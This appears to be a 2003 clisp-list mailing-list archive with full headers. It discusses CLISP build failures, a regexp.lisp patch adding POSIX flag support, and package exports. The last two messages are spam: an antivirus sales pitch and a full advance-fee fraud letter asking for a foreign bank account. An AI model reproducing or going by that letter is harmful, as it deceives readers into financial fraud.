/var/tmp/rpmbuil pass > /var/tmp/rpmbuilc fail > /var/tmp/rpmbuilcd pass > /var/tmp/xxxxxxxx fail > /var/tmp/xxxxxxx pass > > Any build in a directory named /var/tmp/<8 letters> failed. wow! what about /tmp/foo-bar-baz-zot? could you please try debugging this? I.e., $ ./configure --with-debug --build $ gdb > run > (load "suite/tests") > (run-all-tests) (or something like that) thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux What's the difference between Apathy & Ignorance? -I don't know and don't care! From pascal@informatimago.com Sat Mar 29 16:49:43 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zR12-0005aj-00 for ; Sat, 29 Mar 2003 16:49:43 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id 28E622377F; Sun, 30 Mar 2003 01:49:21 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030330004921.28E622377F@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] regexp not extended ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 29 16:50:23 2003 X-Original-Date: Sun, 30 Mar 2003 01:49:21 +0100 (CET) Any reason in particular why REGEXP does not implement the flags that are exported by mregcomp? The lack of '+' is particularly painful in non extended posix regexps... (defun regexp-compile (pattern &optional (case-sensitive t) (extended nil) (newline nil) (nosub nil)) (let (errcode compiled-pattern) (assert (zerop (setf (values errcode compiled-pattern) (mregcomp pattern (+ (if case-sensitive 0 REG_ICASE) (if extended 0 REG_EXTENDED) (if newline 0 REG_NEWLINE) (if nosub 0 REG_NOSUB))))) (pattern) "~s: ~a" 'regexp-compile (mregerror errcode compiled-pattern)= ) ;; Arrange that when compiled-pattern is garbage-collected, ;; mregfree will be called. (ext:finalize compiled-pattern #'mregfree-finally) compiled-pattern) );;REGEXP-COMPILE (defun match-once (pattern string &key (start 0) (end nil) (case-sensitive t) (extended nil) (newline nil) (nosub nil)) (regexp-exec (regexp-compile pattern case-sensitive extended newline no= sub) string :start start :end end) );;REGEXP-COMPILE --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From sds@gnu.org Sat Mar 29 18:18:53 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zSPN-0007un-00 for ; Sat, 29 Mar 2003 18:18:53 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop017.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030330021842.TLNV15296.pop017.verizon.net@loiso.podval.org>; Sat, 29 Mar 2003 20:18:42 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2U2K6Tx027217; Sat, 29 Mar 2003 21:20:06 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2U2K2FA027213; Sat, 29 Mar 2003 21:20:02 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp not extended ? References: <20030330004921.28E622377F@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030330004921.28E622377F@thalassa.informatimago.com> Message-ID: Lines: 247 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.128] at Sat, 29 Mar 2003 20:18:41 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 29 18:19:10 2003 X-Original-Date: 29 Mar 2003 21:20:02 -0500 > * In message <20030330004921.28E622377F@thalassa.informatimago.com> > * On the subject of "[clisp-list] regexp not extended ?" > * Sent on Sun, 30 Mar 2003 01:49:21 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > Any reason in particular why REGEXP does not implement the flags that > are exported by mregcomp? The lack of '+' is particularly painful in > non extended posix regexps... would you be happy with the appended patch? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux There are 10 kinds of people: those who count in binary and those who do not. --- regexp.lisp.~1.8.~ 2002-04-16 14:13:11.000000000 -0400 +++ regexp.lisp 2003-03-29 21:15:36.000000000 -0500 @@ -163,24 +160,35 @@ (:return-type c-string :malloc-free)) (def-call-out mregfree (:arguments (preg regex_t-ptr)) (:return-type nil)) -; cflags values +;; cflags values +(eval-when (compile load eval) (defconstant REG_EXTENDED 1) (defconstant REG_ICASE 2) (defconstant REG_NEWLINE 4) -(defconstant REG_NOSUB 8) -; eflags values + (defconstant REG_NOSUB 8)) +;; eflags values +(eval-when (compile load eval) (defconstant REG_NOTBOL 1) -(defconstant REG_NOTEOL 2) + (defconstant REG_NOTEOL 2)) (defun mregfree-finally (compiled-pattern) ;; beware: compiled-pattern could come from a previous session (when (validp compiled-pattern) (mregfree compiled-pattern))) -(defun regexp-compile (pattern &optional (case-sensitive t)) +(defmacro cflags (extended case-sensitive newline nosub) + `(+ (if ,extended REG_EXTENDED 0) + (if ,case-sensitive 0 REG_ICASE) + (if ,newline REG_NEWLINE 0) + (if ,nosub REG_NOSUB 0))) +(defconstant cflags-max (+ REG_EXTENDED REG_ICASE REG_NEWLINE REG_NOSUB)) + +(defun regexp-compile (pattern &key (extended nil) (case-sensitive t) + (newline nil) (nosub nil) + (cflags (cflags extended case-sensitive newline nosub))) (let (errcode compiled-pattern) (assert (zerop (setf (values errcode compiled-pattern) - (mregcomp pattern (if case-sensitive 0 REG_ICASE)))) + (mregcomp pattern cflags))) (pattern) "~s: ~a" 'regexp-compile (mregerror errcode compiled-pattern)) ;; Arrange that when compiled-pattern is garbage-collected, @@ -188,6 +196,7 @@ (ext:finalize compiled-pattern #'mregfree-finally) compiled-pattern)) +(eval-when (compile load eval) (setf (fdefinition 'match-start) (fdefinition 'regmatch_t-rm_so)) (setf (fdefinition '(setf match-start)) (lambda (new-value match) (setf (regmatch_t-rm_so match) new-value))) @@ -195,8 +204,14 @@ (setf (fdefinition 'match-end) (fdefinition 'regmatch_t-rm_eo)) (setf (fdefinition '(setf match-end)) (lambda (new-value match) (setf (regmatch_t-rm_eo match) new-value))) +) + +(defmacro eflags (notbol noteol) + `(+ (if ,notbol REG_NOTBOL 0) (if ,noteol REG_NOTEOL 0))) -(defun regexp-exec (compiled-pattern string &key (start 0) (end nil)) +(defun regexp-exec (compiled-pattern string &key (start 0) (end nil) + (notbol nil) (noteol nil) + (eflags (eflags notbol noteol))) (assert (stringp string) (string) "~s: the second argument must be a string, not ~s" 'regexp-exec string) @@ -215,7 +230,7 @@ :displaced-index-offset start)))) (declare (string string)) (multiple-value-bind (errcode matches) - (regexec compiled-pattern string #.num-matches 0) + (regexec compiled-pattern string #.num-matches eflags) ;; Compute return values. (if (zerop errcode) (values-list ; the first value will be non-NIL @@ -235,71 +250,87 @@ ;; The following implementation of MATCH compiles the pattern ;; once for every search. -(defun match-once (pattern string &key (start 0) (end nil) (case-sensitive t)) - (regexp-exec (regexp-compile pattern case-sensitive) - string :start start :end end)) +(defun match-once (pattern string &key (start 0) (end nil) + (extended nil) (case-sensitive t) + (newline nil) (nosub nil) + (cflags (cflags extended case-sensitive newline nosub)) + (notbol nil) (noteol nil) + (eflags (eflags notbol noteol))) + (regexp-exec (regexp-compile pattern :cflags cflags) + string :start start :end end :eflags eflags)) ;; The following implementation of MATCH compiles the pattern ;; only once per Lisp session, if it is a literal string. (defmacro match (pattern string &rest more-forms) (if (stringp pattern) `(%MATCH (MATCHER ,pattern) ,string ,@more-forms) - `(MATCH-ONCE ,pattern ,string ,@more-forms) -) ) + `(MATCH-ONCE ,pattern ,string ,@more-forms))) (defmacro matcher (pattern) (declare (string pattern)) - `(LOAD-TIME-VALUE (%MATCHER ,pattern)) -) + `(LOAD-TIME-VALUE (%MATCHER ,pattern))) (defun %matcher (pattern) - (list* pattern nil nil) - ; car = pattern, - ; cadr = compiled pattern, case sensitive, - ; cddr = compiled pattern, case insensitive. -) - -(defun %match (patternbox string &key (start 0) (end nil) (case-sensitive t)) + (let ((ma (make-array (1+ cflags-max)))) + (setf (svref ma cflags-max) pattern) + ma)) + +(defun %match (patternbox string &key (start 0) (end nil) + (extended nil) (case-sensitive t) + (newline nil) (nosub nil) + (cflags (cflags extended case-sensitive newline nosub)) + (notbol nil) (noteol nil) + (eflags (eflags notbol noteol))) ;; Compile the pattern, if not already done. - (let ((compiled-pattern - (if case-sensitive (cadr patternbox) (cddr patternbox)))) + (let ((compiled-pattern (svref patternbox cflags))) (unless (and compiled-pattern (validp compiled-pattern)) - (setq compiled-pattern (regexp-compile (car patternbox) case-sensitive)) - (if case-sensitive - (setf (cadr patternbox) compiled-pattern) - (setf (cddr patternbox) compiled-pattern))) - (regexp-exec compiled-pattern string :start start :end end))) + (setq compiled-pattern (regexp-compile (svref patternbox cflags-max) + :cflags cflags)) + (setf (svref patternbox cflags) compiled-pattern)) + (regexp-exec compiled-pattern string :start start :end end + :eflags eflags))) -; Convert a match (of type regmatch_t) to a substring. +;; Convert a match (of type regmatch_t) to a substring. (defun match-string (string match) (let ((start (match-start match)) (end (match-end match))) (make-array (- end start) :element-type 'character :displaced-to string - :displaced-index-offset start -) ) ) + :displaced-index-offset start))) -; Utility function -(defun regexp-quote (string) +;; Utility function +(defun regexp-quote (string &optional extended) (let ((qstring (make-array 10 :element-type 'character :adjustable t :fill-pointer 0))) - (map nil (lambda (c) + (map nil (if extended + (lambda (c) (case c - ((#\$ #\^ #\. #\* #\[ #\] #\\) ; #\+ #\? + ((#\$ #\^ #\. #\* #\[ #\] #\\ #\+ #\?) (vector-push-extend #\\ qstring))) (vector-push-extend c qstring)) + (lambda (c) + (case c + ((#\$ #\^ #\. #\* #\[ #\] #\\) + (vector-push-extend #\\ qstring))) + (vector-push-extend c qstring))) string) qstring)) -(defun regexp-split (pattern string &key (start 0) end (case-sensitive t)) +(defun regexp-split (pattern string &key (start 0) end + (extended nil) (case-sensitive t) + (newline nil) (nosub nil) + (cflags (cflags extended case-sensitive newline nosub)) + (notbol nil) (noteol nil) + (eflags (eflags notbol noteol))) "Split the STRING by the regexp PATTERN. Return a list of substrings of STRINGS." (loop :with compiled = (if (stringp pattern) - (regexp-compile pattern case-sensitive) + (regexp-compile pattern :cflags cflags) pattern) - :for match = (regexp-exec compiled string :start start :end end) + :for match = (regexp-exec compiled string :start start :end end + :eflags eflags) :collect (make-array (- (if match (match-start match) (length string)) start) :element-type 'character @@ -309,19 +340,28 @@ :do (setq start (match-end match)))) (defmacro with-loop-split ((var stream pattern - &key (start 0) end (case-sensitive t)) + &key (start 0) end + (extended nil) (case-sensitive t) + (newline nil) (nosub nil) + (cflags `(cflags ,extended ,case-sensitive + ,newline ,nosub)) + (notbol nil) (noteol nil) + (eflags (eflags notbol noteol))) &body forms) "Read from STREAM one line at a time, binding VAR to the split line. The line is split with REGEXP-SPLIT using PATTERN." - (let ((compiled-pattern (gensym "WLS-")) (line (gensym "WLS-"))) + (let ((compiled-pattern (gensym "WLS-")) (line (gensym "WLS-")) + (ef (gensym "WLS-"))) `(loop :with ,compiled-pattern = (if (stringp ,pattern) - (regexp-compile ,pattern ,case-sensitive) + (regexp-compile ,pattern :cflags ,cflags) ,pattern) + :and ,ef = ,eflags :and ,var :for ,line = (read-line ,stream nil nil) :while ,line :do (setq ,var - (regexp-split ,compiled-pattern ,line :start ,start :end ,end)) + (regexp-split ,compiled-pattern ,line :start ,start :end ,end + :eflags ,ef)) ,@forms))) From sds@gnu.org Sat Mar 29 18:45:22 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zSoz-0005sY-00 for ; Sat, 29 Mar 2003 18:45:21 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030330024511.RNOD14673.out005.verizon.net@loiso.podval.org>; Sat, 29 Mar 2003 20:45:11 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2U2kaTx027313; Sat, 29 Mar 2003 21:46:36 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2U2kZG2027309; Sat, 29 Mar 2003 21:46:35 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Yadin Y. Goldschmidt" Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries References: <249641874.20030322104057@inbox.ru> <1074785.1048286808@yadin-nb> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1074785.1048286808@yadin-nb> Message-ID: Lines: 7 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Sat, 29 Mar 2003 20:45:11 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 29 18:46:11 2003 X-Original-Date: 29 Mar 2003 21:46:35 -0500 Yadin, please try CVS head again - it appears that the problem has been fixed. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Cannot handle the fatal error due to a fatal error in the fatal error handler. From kaz@footprints.net Sat Mar 29 19:39:35 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zTey-0002bl-00 for ; Sat, 29 Mar 2003 19:39:04 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18zTeR-0005IR-00 for clisp-list@lists.sourceforge.net; Sat, 29 Mar 2003 19:38:31 -0800 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Meta-CVS digs up renames between CLISP 2.30 and CVS HEAD. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 29 19:40:15 2003 X-Original-Date: Sat, 29 Mar 2003 19:38:31 -0800 (PST) * Scanning directory structure. * Analyzing 73 added files. * Analyzing 7 removed files. * Determining move candidates. * moving utils/unicode/ftp.unicode.org/UnicodeData.txt -> utils/unicode/UnicodeDataFull.txt (confidence 84%) * moving libcharset/README.win32 -> libcharset/README.woe32 (confidence 93%) * removing doc/impnotes.xml * removing benchmarks/fprint.tst * removing benchmarks/cur.log * removing benchmarks/benchmarks.log * removing benchmarks/base.log From pascal@informatimago.com Sat Mar 29 19:40:34 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zTgK-000483-00 for ; Sat, 29 Mar 2003 19:40:32 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id C1C2023797; Sun, 30 Mar 2003 05:40:07 +0200 (CEST) From: Pascal Bourguignon Message-ID: <16006.26391.758924.350807@thalassa.informatimago.com> To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp not extended ? In-Reply-To: References: <20030330004921.28E622377F@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.3.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 29 19:41:21 2003 X-Original-Date: Sun, 30 Mar 2003 05:40:07 +0200 Sam Steingold writes: > > * In message <20030330004921.28E622377F@thalassa.informatimago.com> > > * On the subject of "[clisp-list] regexp not extended ?" > > * Sent on Sun, 30 Mar 2003 01:49:21 +0100 (CET) > > * Honorable Pascal Bourguignon writes: > > > > Any reason in particular why REGEXP does not implement the flags that > > are exported by mregcomp? The lack of '+' is particularly painful in > > non extended posix regexps... >=20 > would you be happy with the appended patch? Yes. Thank you very much. It works with 2.30 (well I only tested it with REGEXP:MATCH). --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From pascal@informatimago.com Sun Mar 30 04:14:26 2003 Received: from [213.220.35.225] (helo=thalassa.informatimago.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zbha-0005YL-00 for ; Sun, 30 Mar 2003 04:14:22 -0800 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id ED85C237C9; Sun, 30 Mar 2003 14:13:57 +0200 (CEST) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20030330121357.ED85C237C9@thalassa.informatimago.com> Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] exporting reader functions for slots? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 30 04:15:11 2003 X-Original-Date: Sun, 30 Mar 2003 14:13:57 +0200 (CEST) Shouldn't the reader functions for slots of def-c-struct be exported from LINUX? [67]> (LINUX:|stat-st_ino| sbuf) *** - READ from # = #>: # has no external symbol= with name "stat-st_ino" [68]> (LINUX::|stat-st_ino| sbuf) 142158 Since LINUX export the |stat| function that returns a |stat| structure, it would seem logical to export the reader functions too. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- Do not adjust your mind, there is a fault in reality. From yadin+@pitt.edu Sun Mar 30 07:25:06 2003 Received: from mb1i0.ns.pitt.edu ([136.142.186.35]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zegD-0002Rl-00 for ; Sun, 30 Mar 2003 07:25:06 -0800 Received: from yadin-nb ([136.142.20.216]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KU4RQVDQNO000NS3@mb1i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Sun, 30 Mar 2003 10:25:01 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: Originator-info: login-id=yadin; server=imap.pitt.edu To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Message-id: <4887728.1049019900@yadin-nb> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 30 07:26:03 2003 X-Original-Date: Sun, 30 Mar 2003 10:25:00 -0500 I successfully compiled cvs head on cygwin. Thank you. the problem has been solved. Yadin. --On Saturday, March 29, 2003 9:46 PM -0500 Sam Steingold wrote:r > Yadin, please try CVS head again - it appears that the problem has been > fixed. > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux > > > Cannot handle the fatal > error due to a fatal error in the fatal error handler. From 9ad1n25mo@lycos.com Sun Mar 30 07:46:48 2003 Received: from [168.11.78.120] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zf1C-00054g-00; Sun, 30 Mar 2003 07:46:48 -0800 Received: from itw.e8k1jqv.com ([126.65.2.94]) by 66.35.250.206 with ESMTP id EC9FDB34E61; Sun, 30 Mar 2003 13:41:45 -0200 Message-ID: From: "Anthony Rudolph" <9ad1n25mo@lycos.com> To: , , , X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="7DAF.62B70_CA.DA90_2_A" Subject: [clisp-list] Re:~Norton~Systemworks~2003~Blowout! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 30 07:47:34 2003 X-Original-Date: Sun, 30 Mar 03 13:41:45 GMT This is a multi-part message in MIME format. --7DAF.62B70_CA.DA90_2_A Content-Type: text/html Content-Transfer-Encoding: quoted-printable Combat Cyber Terrorism and protect your system with the latest Anti Virus = programs. Bonus software included. http://www.antivirusnews.com/nsw38.htm?id=3DSuite Thank you The Anti Virus Team dscp rentld lc abeubqdawpsfn gf ukllmlfn ak --7DAF.62B70_CA.DA90_2_A-- From jon_mba@hknetmail.com Sun Mar 30 08:24:28 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18zfbd-0004m1-00 for ; Sun, 30 Mar 2003 08:24:26 -0800 Received: from [195.129.47.2] (port=54659 helo=emztd1876.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 18zfZT-00073f-00 for ; Sun, 30 Mar 2003 08:22:49 -0800 From: "DR.JONATHAN MBA" Reply-To: j_mba@hknetmail.com To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain X-Spam-Status: Yes, hits=9.4 required=7.0 tests=US_DOLLARS_3,US_DOLLARS_2,SUPERLONG_LINE, MIME_MISSING_BOUNDARY,SUBJ_ALL_CAPS,RCVD_IN_BL_SPAMCOP_NET version=2.21 X-Spam-Flag: YES X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.21 (devel $Id: SpamAssassin.pm,v 1.92 2002/06/11 03:50:03 hughescr Exp $) X-Spam-Prev-Content-Type: multipart/mixed; boundary="===_SecAtt_000_1ficonsyvpoxsl" X-Spam-Report: 9.4 hits, 7 required; * 2.7 -- BODY: Nigerian scam key phrase ($NN,NNN,NNN.NN) * 0.2 -- BODY: Nigerian scam key phrase ($NNN.N m/USDNNN.N m) * -0.4 -- BODY: Contains a line >=199 characters long * 1.5 -- RAW: MIME section missing boundary * 1.9 -- Subject is all capitals * 3.5 -- RBL: Received via a relay in bl.spamcop.net [RBL check: found 2.47.129.195.bl.spamcop.net.] Subject: [clisp-list] EXPECTING YOUR REPLY Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 30 08:25:14 2003 X-Original-Date: Sun, 30 Mar 2003 17:20:52 -0800 --===_SecAtt_000_1ficonsyvpoxsl Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable From =3A DR=2E Jonathan Mba Attn =3A OWNER=2C I am DR=2E Jonathan Mba=2C Director of Project=2C South Africa Ministry of Mining & Natural Resources=2E I am making this contact with you based on the committee's need for an individual=2Fcompany who is willing to assist us with a solution to a money transfer=2E First and foremost=2C I apologized using this medium to reach you for a transaction=2Fbusiness of this magnitude=2C but this is due to Confidentiality and prompt access reposed on this medium=2E In unfolding this proposal=2C I want to count on you=2C as a respected and honest person to handle this transaction with sincerity=2C trust and confidentiality=2E I have decided to seek a confidential co-operation with you in the execution of the deal described Hereunder for the benefit of all parties and hope you will keep it as a top secret because of the nature ofthis transaction=2E Within the Ministry of Mining and Natural resources where I work as Director of Project Implemention and with the cooperation of four other top officials=2C we have in our possession as overduepayment bills totaling Nine Million=2C Six Hundred Thousand UnitedStates Dollars =28US$9=2C600=2C000=2E=29 which we want to transfer abroad with the assistance and cooperation of a foreign company=2Findividual to receive the said fund on our behalf or a reliable foreign non-company account to receive such funds=2E More so=2C we are handicapped in the circumstances=2C as the South Africa Civil Service Code of Conduct does not allow us to operate offshore account hence your importance in thewhole transaction=2E This amount $9=2E6m represents the balance of the total contract value executed on behalf of my Department by a foreign contracting firm=2C which we the officials over-invoiced deliberately=2E Though the actual contract cost have been paid to the original contractor=2C leaving the balance in the tune of the said amount which we have in principles gotten approval to remit by Key tested Telegraphic Transfer =28K=2ET=2ET=29 to any foreign bank account you will provide by filing in an application through the Ministry of Justice here in South Africa for the transfer of rights and privileges of the former contractor to you=2E I have the authority of my partners involved to propose that should you be willing to assist us in the transaction=2C your share of the sum will be 20% of the $9=2E6 million=2C 70% for us and 5% for taxation and miscellaneous expenses while the remaining 5% will go to charity organizatio=2E The business itself is 100% safe=2C on your part provided you treat it with utmost secrecy and confidentiality=2E Also your area of specialization is not a hindrance to the successful execution of this transaction=2E I have reposed my confidence in you and hope that you will not disappoint me=2E Endeavor to contact me immediately through my email=3Ato confirm whether or not you are interested in this deal=2E If you are not=2C it will enable me scout for another foreign partner to carry out this deal=2E I want to assure you that my partners and myself are in a position to make the payment of this claim possible provided you can give us a very strong Assurance and guarantee that our share will be secured and please=2C remember to treat this matter very confidential =2C because we will not comprehend with any form of exposure as we are still in active Government Service =2E Once again=2C remember that time is of great essence in this transaction=2E I wait in anticipation of your fullest co-operation=2E Yours faithfully=2C DR=2E Jonathan Mba PLEASE SEND A COPY OF YOUR RESPONSE TO=3Aj=5Fmba=40hknetmail=2Ecom 